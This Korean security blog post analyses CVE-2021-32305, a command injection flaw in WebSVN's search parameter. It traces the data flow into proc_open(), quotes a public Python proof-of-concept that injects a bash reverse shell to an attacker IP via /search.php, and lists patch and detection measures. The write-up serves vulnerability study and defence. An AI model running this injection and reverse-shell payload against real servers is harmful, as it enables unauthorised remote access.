1. Websvn
- 웹 기반 Subversion Repository 브라우저로 파일 또는 폴더의 로그를 보거나 파일의 변경 목록을 볼 수 있음
- 온라인 서브버전 저장소 브라우저
- 로컬 또는 원격 SVN저장소를 연결하여 웹 탐색기 제공
- 리비전별 폴더 탐색, 비교
- 파일 히스토리 간편 확인
- 작성언어: PHP
2. 취약점
- WebSVN에서 search 매개변수에대한 입력값 검증이 없어 발생하는 원격 명령 실행 취약점
영향받는 버전 : WebSVN 2.6.1 이전 버전
2.1 분석
- 먼저, 사용자 입력값 중 search 매개변수를 읽어 showSearchResults() 호출
- search 매개변수(사용자 입력값)는 showSearchResults()의 $searchstring 변수에 대응됨
- showSearchResults()는 다시 getListeSearch()를 호출
- $searchstring(사용자 입력값)는 getListSearch()의 $searchstring 변수에 대응
- svnCommandString()에 의해 $cmd로 처리된 후 _xmlParseCmdOutput의 인자로 전달
- _xmlParseCmdOutput()에서 runCommand()의 인자로 $cmd 전달
- runCommand()에서 $cmd(사용자 입력값)는 proc_open()에 의해 최종적으로 실행되어 결과를 반환
- proc_open()은 명령을 실행하는 함수로, command 인자는 실행할 명령줄을 가짐
- 위 과정을 요약하면 [사진 8]과 같음
2.3 PoC
- 아래 PoC는 search 매개변수에 공격자 PC에 리버스쉘을 생성하는 코드를 삽입하는 PoC
# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305
import requests
import argparse
from urllib.parse import quote_plus
PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'
parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")
args = parser.parse_args()
if args.target.startswith("http://") or args.target.startswith("https://"):
target = args.target
else:
print("[!] Target should start with either http:// or https://")
exit()
requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))
print("[*] Request send. Did you get what you wanted?")
3. 대응방안
3.1 서버측면
① 패치 버전 적용
- escapeshellarg()를 통해 $searchstring(search 매개변수_사용자 입력값)에 대한 검증을 수행
3.2 네트워크 측면
① /search.php?search이 포함된 URL에 대해 탐지할 수 있는 정책을 설정 및 적용
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2021-32305
- https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/
- https://github.com/websvnphp/websvn/pull/142
- https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
- https://gryffinbit.top/2022/10/31/%E5%A4%8D%E7%8E%B0websvn-2-6-0-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E-cve-2021-32305/
- https://zetawiki.com/wiki/WebSVN
- https://www.php.net/manual/en/function.proc-open.php
- https://github.com/websvnphp/websvn/releases/tag/2.6.0
'취약점 > RCE' 카테고리의 다른 글
Zeroshell kerbynet x509type RCE (CVE-2019-12725) (1) | 2023.01.02 |
---|---|
VMware Workspace ONE Access 및 Identity Manager RCE (CVE-2022-22954) (0) | 2023.01.02 |
Oracle WebLogic WLS Security Component RCE (CVE-2017-10271) (1) | 2022.12.23 |
Joomla HTTP Header RCE (CVE-2015-8562) (0) | 2022.12.18 |
Drupalgeddon2 (CVE-2018-7600) (0) | 2022.12.11 |